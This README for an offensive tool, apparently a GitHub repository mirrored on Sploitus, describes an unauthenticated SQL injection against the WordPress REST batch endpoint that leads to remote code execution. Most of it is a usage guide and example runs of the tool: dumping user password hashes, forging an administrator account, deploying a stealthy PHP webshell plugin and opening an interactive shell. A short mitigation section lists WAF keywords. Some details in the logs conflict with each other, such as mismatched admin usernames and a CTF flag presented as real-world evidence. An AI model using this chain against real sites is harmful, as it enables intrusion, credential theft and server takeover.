Share
## https://sploitus.com/exploit?id=9B9D7F36-5E5D-58ED-BEEB-616FA2DF337A
# CVE-2026-63030

> **WordPress REST Batch Route-Confusion SQL Injection (CVE-2026-63030) Proof of Concept**  
> *Research, Exploit Development & Documentation by **Ch4120N***

[![CVE](https://img.shields.io/badge/CVE-2026--63030-critical-red.svg)](https://cve.mitre.org/)
[![Python](https://img.shields.io/badge/Python-3.8+-blue.svg)](https://www.python.org/)
[![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
[![Status](https://img.shields.io/badge/Status-Active%200--Day-orange.svg)]()

---

## โš ๏ธ Legal Disclaimer
**This repository and the accompanying tool (`exploit.py`) are intended strictly for educational purposes, authorized penetration testing, and security research.**  
Using this exploit against targets without explicit, prior, written consent is illegal and violates computer fraud and abuse laws globally. The author (**Ch4120N**) assumes absolutely no liability for any misuse, damage, or legal consequences arising from the use of this code. Always operate within the bounds of the law and obtain proper authorization.

---

## ๐Ÿ“– Vulnerability Overview: CVE-2026-63030

**CVE-2026-63030** is a critical, unauthenticated vulnerability affecting the WordPress REST API. It exploits a **route-confusion bug** within the nested batch processing endpoint (`/wp-json/batch/v1` or `/?rest_route=/batch/v1`).

### The Root Cause
When WordPress processes a batch of REST API requests, it validates each sub-request against its specific schema before execution. However, due to a flaw in how the internal routing pointer handles deliberately malformed paths (e.g., `///`), the validation schema becomes desynchronized from the actual execution handler. 

### The Attack Chain
1. **Route Confusion & SQLi:** An attacker injects a nested batch payload. The desync causes a request targeting the `/wp/v2/users` endpoint (which doesn't accept `author_exclude`) to be executed by the `/wp/v2/posts` handler. The unsanitized `author_exclude` parameter is passed directly into `WP_Query`'s `author__not_in` clause, resulting in **Unauthenticated SQL Injection**.
2. **Pre-Auth Admin Creation:** The SQLi is used to read the database and identify `oembed_cache` post IDs. The exploit then uses a Customizer `changeset` payload to poison the navigation menu cache, tricking WordPress into executing a user-creation request under the context of an existing administrator.
3. **Remote Code Execution (RCE):** With a newly forged administrator account, the tool authenticates, uploads a randomized, token-gated PHP webshell plugin, executes OS commands, and securely cleans up all traces.

### Affected Versions
* WordPress **6.9.0** through **6.9.4**
* WordPress **7.0.0** through **7.0.1**
*(Note: Older versions may be vulnerable depending on specific plugin configurations and REST API backports).*

---

## ๐Ÿš€ Features

* **Zero Dependencies:** 100% Python 3 standard library. No `pip install` required.
* **Single File Modular:** All components (Client, SQLi, Exploit, Shell, CLI) are neatly organized in one portable script (`exploit.py`).
* **Multi-Technique SQL Extraction:** Automatically falls back through the fastest available methods:
  1. **UNION-based:** In-band extraction by forging a fake `WP_Post` row (1 request per value).
  2. **Error-based:** Leverages `EXTRACTVALUE()` XPATH errors if `WP_DEBUG_DISPLAY` is enabled.
  3. **Blind Boolean/Timing:** Binary search character extraction with configurable sleep delays.
* **Automated Pre-Auth Bridge:** No need for existing credentials; the tool creates its own administrator account on the fly.
* **Ephemeral Webshell:** Generates a unique plugin slug and cryptographically secure token. The shell refuses to execute without the token and self-destructs after use.
* **Auto-Cleanup:** Automatically deletes the forged administrator account and removes the webshell plugin directory upon exit.
* **Interactive REPL:** Provides a pseudo-terminal that maintains remote working directory state (`cd` support).

---

## ๐Ÿ“ฆ Installation & Requirements

No third-party packages are required. Ensure you have **Python 3.8 or higher** installed.

```bash
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
```

---

## ๐Ÿ’ป Detailed Usage & Options

The exploit is divided into three main sub-commands: `check`, `read`, and `shell`.

### Global Options
These options apply to all sub-commands:
| Option | Description | Default |
| :--- | :--- | :--- |
| `url` | Target base URL (e.g., `http://target.com`) | *Required* |
| `--rest-route` | Use `/?rest_route=/batch/v1` instead of `/wp-json/batch/v1` (for sites with permalinks disabled). | `False` |
| `--timeout` | HTTP request timeout in seconds. | `30.0` |
| `--proxy` | HTTP/HTTPS proxy (e.g., `http://127.0.0.1:8080`). | `None` |

### 1. `check` - Vulnerability Detection
Safely probes the target to confirm the presence of the route-confusion markers and tests SQLi timing without extracting data.

| Option | Description | Default |
| :--- | :--- | :--- |
| `--sleep` | SQL timing delay (seconds) used by the `--confirm-sqli` fallback. | `3.0` |
| `--samples` | Number of baseline/delayed SQL timing pairs to test. | `3` |
| `--confirm-sqli` | Send an active SQLi confirmation payload (adds a slight delay). | `False` |

### 2. `read` - Database Extraction
Extracts data directly from the database via the SQL injection.

| Option | Description | Default |
| :--- | :--- | :--- |
| `--preset` | Quick extraction presets: `fingerprint` (version/user/db) or `users` (logins/hashes). | `fingerprint` |
| `--query` | Execute a custom scalar SQL expression (e.g., `"SELECT @@version"`). | `None` |
| `--prefix` | Database table prefix. | `wp_` |
| `--max-length` | Maximum characters to extract per value. | `128` |
| `--technique` | Extraction technique: `auto`, `union`, `error`, or `blind`. | `auto` |

### 3. `shell` - Remote Code Execution
Deploys the webshell and executes commands. If no credentials are provided, it automatically triggers the pre-auth admin creation bridge.

| Option | Description | Default |
| :--- | :--- | :--- |
| `--user` | Admin username. (Omit to use the pre-auth bridge). | `None` |
| `--password` | Admin password. (Omit to use the pre-auth bridge). | `None` |
| `--cmd` | Single command to run on the target. | `None` |
| `-i`, `--interactive`| Open an interactive shell (REPL) after deploying. | `False` |

---

## ๐Ÿ–ฅ๏ธ Execution Evidence & Examples

Below are real-world examples of the tool in action.

### Example 1: Checking for Vulnerability
```bash
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE โ€” batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed โ€” UNION fake-post read returned data.
```

### Example 2: Extracting Database Fingerprint
```bash
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) โ€” using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
```

### Example 3: Dumping User Credentials
```bash
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) โ€” using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
```

### Example 4: Gaining an Interactive Shell (Pre-Auth)
*Notice how the tool automatically creates an admin account, deploys the shell, and cleans up after exiting.*

```bash
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell โ€” type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
```

---

## ๐Ÿง  Technical Deep Dive

### The Desync Primer
The core of the exploit relies on injecting `_DESYNC_PRIMER = {"method": "POST", "path": "///"}`. This invalid URL forces WordPress's internal routing to generate a `WP_Error` for the first sub-request. This shifts the internal pointer, causing the *second* sub-request to be validated against one schema but executed by the handler of the *third* sub-request. This smuggles the `author_exclude` parameter into the `WP_Query`.

### UNION Fake-Post Primitive
Instead of slow blind SQLi, the tool uses a `UNION SELECT` to inject a fully formed, fake `wp_posts` row. By setting `orderby=none` and `per_page=500`, it prevents `WP_Query` from splitting the query. The injected `post_title` contains the hex-encoded result of the target SQL expression, wrapped in `||` delimiters, which is reflected directly in the REST API JSON response.

### Webshell OpSec
The deployed PHP plugin is designed for high stealth:
* Randomized directory and filename (e.g., `wp_a1b2c3d4.php`).
* Requires a 32-character hex token (`t`) and command (`c`) via GET parameters.
* Uses `hash_equals()` to prevent timing attacks on the token.
* Automatically changes directory (`chdir`) to prevent path disclosure.
* Output is wrapped in `EXPLOIT::...::END` markers for clean parsing by the Python client.

---

## ๐Ÿ›ก๏ธ Mitigation & Remediation

1. **Update WordPress**: Immediately upgrade to WordPress **7.0.2** or later, which includes the patch for CVE-2026-63030.
2. **Disable Batch Endpoint**: If the batch endpoint is not explicitly required, disable it via a must-use plugin (`mu-plugins`):
   ```php
   add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
       if ( $request->get_route() === '/batch/v1' ) {
           return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
       }
       return $response;
   }, 10, 3 );
   ```
3. **Web Application Firewall (WAF)**: Implement rules to block:
   * Nested `/batch/v1` requests containing `author_exclude` in the URI.
   * Requests containing `UNION`, `SLEEP()`, or `EXTRACTVALUE` in URL parameters.
   * Malformed paths like `///` in REST API requests.
4. **Disable WP_DEBUG_DISPLAY**: Ensure `WP_DEBUG_DISPLAY` is set to `false` in `wp-config.php` to prevent error-based SQLi leakage.

---

## ๐Ÿ“œ Credits & Acknowledgments

* **Vulnerability Research & Exploit Development**: [**Ch4120N**](https://github.com/Ch4120N)
* **Concept Inspiration**: WordPress REST API route confusion, oEmbed cache poisoning, and Customizer changeset primitives.

---

> *"With great power comes great responsibility. Use this knowledge to defend, not to destroy."*  
> **โ€” Ch4120N**